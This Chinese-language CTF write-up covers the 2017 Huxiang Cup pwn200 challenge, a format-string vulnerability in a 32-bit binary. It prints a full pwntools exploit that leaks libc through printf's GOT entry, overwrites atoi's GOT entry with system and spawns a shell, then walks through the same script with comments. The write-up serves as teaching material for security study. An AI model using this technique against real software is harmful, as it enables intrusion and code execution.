2017湖湘杯pwn200_wp_格式化字串漏洞
阿新 • • 發佈:2019-02-08
本文是格式化字串漏洞的利用,題目為2017年湖湘杯pwn200,題目檔案
0x0001
看檔案型別為elf檔案,用 binwalk 檢視一下:一個32位的檔案,用IDA看看: main函式:
sub_80485CD():
這裡可以大致知道這個程式幹了什麼,實際執行看一下,確實如我們所想的那樣:
從 sub_80485CD() 這個函式中,我們可以發現 printf 的引數是直接將輸入的資料傳了過去,那麼這樣必然導致存在格式化字串漏洞
0x0002
pwntools中提供了方便的格式化字串漏洞利用指令碼,這裡直接使用它們,上指令碼,我也是剛接觸不久,看了幾個大佬的指令碼,有些跑不出來shell,有些省略了前面的一些關鍵步驟,我把它們的融合到一起直接跑了就能夠拿到 shell,這裡是我的指令碼:#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * context.log_level = 'debug' elf = ELF('pwne') libc = elf.libc #raw_input("\n[****start****]") r = process('/root/pwne') def exec_fmt(payload): r.recvuntil('WANT PLAY[Y/N]\n') r.sendline('Y') r.recvuntil('GET YOUR NAME:\n') r.recvuntil('\n') r.sendline(payload) info = r.recv().splitlines()[1] print "info:"+info r.sendline('10') #r.close() return info autofmt = FmtStr(exec_fmt) r.close() p = process(elf.path) def exploit(name, age='20'): p.sendlineafter('WANT PLAY[Y/N]\n', 'Y') p.sendlineafter('GET YOUR NAME:\n\n', name) p.recvuntil('WELCOME \n') content = p.recvuntil('GET YOUR ', drop=True) p.sendafter('AGE:\n\n', age) return content offset = autofmt.offset #offset=7 tmp = exploit(flat(elf.got['printf'], 'AAAA%7$sBBBB')) #print ("flat():--------",flat(elf.got['printf'], 'AAAA%7$sBBBB')) #print ("flat():--------",flat('AAAA%7$sBBBB',elf.got['printf'])) #print ("printf:----------",hex(elf.got['printf'])) #print ("tmp :----------",tmp) libc_base = u32(tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4]) - libc.symbols['printf'] #print ("libc_base :----------",hex(libc_base)) #print ("tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4]:---",tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4]) #print ("tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4]:---",hex(u32(tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4]))) system = libc_base + libc.symbols['system'] exploit(fmtstr_payload(offset, {elf.got['atoi']:system}), '/bin/sh\x00') p.interactive()
直接用指令碼跑一下就可以出拿到 shell :
0x0003
接下來分析一下指令碼:r = process('/root/pwne') def exec_fmt(payload): r.recvuntil('WANT PLAY[Y/N]\n') r.sendline('Y') r.recvuntil('GET YOUR NAME:\n') r.recvuntil('\n') r.sendline(payload) info = r.recv().splitlines()[1] print "info:"+info r.sendline('10') #r.close() return info autofmt = FmtStr(exec_fmt) r.close()
這一段通過執行這個檔案,和程式進行互動,獲取相關資訊,最後一步是關鍵
autofmt = FmtStr(exec_fmt)
這一步提供自動化的利用,可以看看上面的指令碼跑出來的資訊,FmtStr() 這個函式構造payload,通過一次次的嘗試確定了引數的位置(偏移地址),在第七次的時候,找到了format的偏移地址:
偏移地址為 offset=7 ,即 autofmt.offset = 7 ,
p = process(elf.path) def exploit(name, age='20'): p.sendlineafter('WANT PLAY[Y/N]\n', 'Y') p.sendlineafter('GET YOUR NAME:\n\n', name) p.recvuntil('WELCOME \n') content = p.recvuntil('GET YOUR ', drop=True) p.sendafter('AGE:\n\n', age) return content offset = autofmt.offset #offset=7 tmp = exploit(flat(elf.got['printf'], 'AAAA%7$sBBBB')) #呼叫exploit函式洩漏printf函式的實際地址 #print ("flat():--------",flat(elf.got['printf'], 'AAAA%7$sBBBB')) #print ("flat():--------",flat('AAAA%7$sBBBB',elf.got['printf'])) #print ("printf:----------",hex(elf.got['printf'])) #print ("tmp :----------",tmp) libc_base = u32(tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4]) - libc.symbols['printf'] #計算出libc載入起來的基地址,基地址加上printf函式在libc中的相對偏移地址得到的就是實際地址,這樣可以算出實際地址 #print ("libc_base :----------",hex(libc_base)) #print ("tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4]:---",tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4]) #print ("tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4]:---",hex(u32(tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4]))) system = libc_base + libc.symbols['system'] #libc的基地址加上system的偏移地址就是system的實際地址 exploit(fmtstr_payload(offset, {elf.got['atoi']:system}), '/bin/sh\x00') #這一步利用 fmtstr_payload(offset, {elf.got['atoi']:system}) 這一自動利用工具直接將atoi的got表中的地址修改為system的地址 p.interactive() #python shell進行互動